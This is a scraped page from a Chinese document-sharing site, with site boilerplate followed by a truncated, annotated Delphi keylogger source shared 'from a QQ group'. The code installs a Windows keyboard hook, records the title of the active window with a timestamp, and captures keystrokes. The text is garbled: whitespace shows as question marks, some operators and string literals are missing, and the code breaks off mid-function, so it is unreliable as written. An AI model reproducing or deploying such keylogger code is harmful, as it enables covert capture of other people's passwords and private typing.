- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
Delphi键盘记录
QQ群里面的朋友发的一份DELPHI键盘记录源码,附带注解,还不错!
unit Unit1;
interface
usesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, StdCtrls;
typeTForm1 = class(TForm)??? Memo1: TMemo;??? StartLog: TButton;??? StopLog: TButton;??? procedure StartLogClick(Sender: TObject);??? procedure StopLogClick(Sender: TObject);private??? { Private declarations }public??? { Public declarations }end;
varForm1: TForm1;LogHook:HHook=0;LastFocusWnd:Hwnd=0;PrvChar:Char;HookKey:String;const??????? KeyMask=
function LogProc(iCode:integer;wparam,lparam:longint):lresult;stdcall;
implementation
{$R *.dfm}
function LogProc(iCode:integer;wparam,lparam:longint):lresult;var??? ch:Char;?????????? //记录一个个按下的按键字符??? vKey:integer;????? //表示按下了哪个键??? FocusWnd:HWND;???? //当前活动窗口句柄??? Title:array[0..255] of char;??? //窗口句柄的标题??? str:array[0..12] of char;?????? // 当8=vkey=46时,表示按下的键名,例如[退格]??? time:string;??????????? //time表示操作的具体时间??? //LogFile:TextFile;?????????? //记录保存到文件??? PEvt:^EventMsg;???????? //EventMsg的指针??? iCapsLock,iNumLock,iShift:integer; //状态按键??? bCapsLock,bNumLock,bShift:boolean; //是否按下状态按键begin??? if (iCode 0 ) then??? begin??????? Result := CallNextHookEx(LogHook,iCode,wparam,lparam);??? //调用钩子链表的下一个子程??????? exit;??? end;
??? if (iCode = HC_ACTION) then?????????????????? //设备动作??? begin??????? PEvt := pointer(Dword(lparam));?????????? //将lparam的指针传递给PEvt事件消息指针??????? FocusWnd:= GetActiveWindow;?????????????? //获取活动窗体句柄??????? if (LastFocusWnd FocusWnd) then??????? begin??????????? if (HookKey ) then??????????? begin??????????????? form1.Memo1.Lines.Add(HookKey);??????????????? HookKey:= ;??????????? end;??????????? GetWindowText(FocusWnd,Title,256);??????????? LastFocusWnd:= FocusWnd;??????????? Time:= DateTimeToStr(now);??????????? Form1.Memo1.lines.add(Time + Format(Title:%s,[Title]));??????? end;
??? if (PEvt.message = WM_KEYDOWN) then?????? //if 事件消息为键下压操作??? begin??????? vkey := LoByte(PEvt.paramL )
原创力文档


文档评论(0)